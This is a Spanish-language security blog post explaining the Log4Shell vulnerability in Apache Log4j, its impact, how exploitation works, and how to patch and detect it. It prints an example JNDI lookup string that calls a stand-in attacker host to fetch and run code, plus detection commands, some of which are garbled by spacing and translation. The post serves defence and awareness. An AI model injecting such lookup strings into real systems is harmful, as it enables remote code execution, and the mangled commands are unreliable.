Cómo una vulnerabilidad robó la Navidad: la historia de Log4j




Imagine una vulnerabilidad que, de ser explotada, podría tener el poder de causar estragos en toda la industria de Internet, afectando no solo a grandes empresas como Apple, Microsoft y Amazon, sino también a miles de empresas alrededor del mundo. Esta vulnerabilidad podría permitir que un atacante pueda tomar control o logre acceder a la gran mayoría de los dispositivos conectados a Internet, con relativa facilidad, esto es lo que podría provocar la vulnerabilidad Log4Shell, de ser explotada. Debido al daño que esta puede llegar a ocasionar, durante los últimos días, las empresas de tecnología más importantes, así como muchas agencias gubernamentales en todo el mundo, han estado luchando contra reloj para parchear y reparar sus sistemas y así poder prevenir un desastre catastrófico.


En noviembre, se descubrió una vulnerabilidad de día cero la cual permite la ejecución remota de código (RCE) (CVE-2021-44228) en el componente Log4j de Apache. El problema fue descubierto por Chen Zhaojun de Alibaba Cloud Security Team y se reveló públicamente a través de la plataforma GitHub el 9 de diciembre. Los primeros informes de la vulnerabilidad siendo explotada se remontan al 1 de diciembre a las 4:36 GMT, como señaló el CEO y cofundador de CloudFlare, Matthew Prince.


Debido al uso ubicuo de Log4j, el escaneo masivo y los intentos de explotación han aumentado sustancialmente desde su divulgación pública; con la mayoría de los ataques centrados en la instalación de mineros criptográficos, el robo de datos y credenciales del sistema, así como para conseguir información de redes comprometidas.


Como respuesta, las principales empresas de tecnología como AWS, Google Cloud, Microsoft, Cisco e IBM, entre otras, se apresuraron a identificar y mitigar los servicios que se pueden ver afectados por Log4Shell. Para las organizaciones más pequeñas, responder a esta vulnerabilidad resultará difícil considerando la escala con la que se utiliza Log4j, y es muy probable que su efecto resuene en la industria por muchos años.


¿Qué es Log4j?


Log4j es una biblioteca Java de código abierto la cual permite crear registros en un sistema o aplicación con el fin de realizar un seguimiento de todos los eventos que se llevan a cabo en ellas; Actualmente, la biblioteca es muy popular y es utilizada en muchos servicios como dependencia.


Para comprender el impacto de Log4Shell y la importancia que tiene Java, en 2017 Java fue el lenguaje de programación más utilizado por los desarrolladores, en este mismo año había 38 mil millones de máquinas virtuales Java (JVM) activas y 21 mil millones de JVM conectadas a la nube y algunas de las mayores empresas de tecnología en el mundo lo implementan de una u otra forma. Todo esto añadido a que Java es una aplicación multiplataforma que se ejecuta en Windows, macOS, Linux / Unix; ayuda a darnos una imagen de lo popular que es Java también nos ayuda a comprender lo peligroso que seria explotar la vulnerabilidad Log4Shell y el impacto que pude llegar a tener en millones de dispositivos.


El CVE-2021-44228 reside dentro de la biblioteca de Java y debido a las capacidades de registro que ofrece Log4j y la importancia de esta, termina en infinidad de sistemas y aplicaciones a tal punto que los usuarios pueden no saber que la biblioteca se ha implementado en su entorno o que está presente en las aplicaciones que utilizan.


Esto significa que las empresas y los usuarios tienen que invertir recursos y tiempo en identificar si Log4j se utiliza en su entorno antes de poder tomar las medidas adecuadas para mitigarlo.


Nota: Para obtener una lista del software afectado, puede consultar los siguientes enlaces “Software relacionado con la descripción general de Log4j” y “Guía de vulnerabilidad de CISA Log4j”, las listas es actualizan continuamente.


¿Cómo se explota dicha vulnerabilidad?


La vulnerabilidad Log4Shell se introdujo en la versión 2.0-beta9 de Log4j2 afectando a todas las versiones que van desde Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0, la vulnerabilidad reside en el componente JNDI (Java Naming and Directory Interface) del conector LDAP (Lightweight Directory Access Protocol), este conector se puede activar para recibir y ejecutar código malicioso, al permitir que un atacante elabore una solicitud LDAP, normalmente insertando una búsqueda JNDI en un campo de encabezado (por ejemplo, $ {jndi: ldap: // attacker_website / code_to_be_executed }) luego pasándolo esta solicitud a Log4J para su registro, cuando Log4J recibe esta cadena, la reenvía a un servidor LDAP malicioso, generalmente bajo el control del atacante, este LDAP responde a la componente Log4J de la aplicación con un código malicioso, y Log4j al recibirlo ejecuta el código. Este es solo un ejemplo de la vulnerabilidad siendo explotada en LDAP, pero esta también afecta a otros protocolos como LDAP (S), RMI, DNS, NIS, IIOP, CORBAL, NDS, HTTP.



Parcheo y remediación

Primero, le recomendamos que haga una lista de todos los dispositivos que podrían estar usando Log4J (guía sobre qué aplicaciones usan la biblioteca).


Instale las últimas actualizaciones inmediatamente en los sistemas que utilizan Log4J: todos los dispositivos deben tener la versión Log4J2.16.0, la cual deshabilita JNDI de forma predeterminada y elimina la compatibilidad con búsquedas de mensajes (la actualización requiere de Java 8 o superior). Puede correr un análisis de vulnerabilidades en su red para detectar cuando nuevas actualizaciones estén disponibles.


Verifique los intentos de explotación usando el siguiente comando de Linux / Unix:

sudo egrep -i -r '\ $ \ {jndi: (ldap [s]? | Rmi | dns): / [^ \ n] +' / var / log /


en windows:


gci 'C: \' -rec -force -include * .jar -ea 0 | foreach {select-string "JndiLookup.class" $ _} |


seleccione -exp Ruta. Ejemplos adicionales aquí.


Si usa un firewall de aplicaciones web (WAF) utilice las capacidades de bloqueo y monitoreo de red de esta, asegúrese de que existan reglas contra la vulnerabilidad. Es posible que también desee bloquear las conexiones LDAP y RMI salientes en el firewall. Aquí hay algunas reglas de los WAF más populares.


· Cloud Armor

· WAF de Cloudflare

· Signal Sciences WAF


En el caso de utilizar SNORT o Suricata, puede utilizar las siguientes reglas para detectar cualquier intento de explotación.


Si usted es un desarrollador le recomendamos informar a sus clientes si sus sistemas pudieran estar en riesgo para que tomen medidas correspondientes.


En caso de que no le sea posible actualizar, le recomendamos aislar el sistema de Internet y aplicar las soluciones alternativas recomendadas por Microsoft.


A medida que los equipos de seguridad se apresuren a remediar, esperamos ver los efectos persistentes de esta vulnerabilidad hasta bien entrado el 2022.



Autor

Jacobo Arzaga

Ingeniero de Seguridad Junior


15 views0 comments

Recent Posts

See All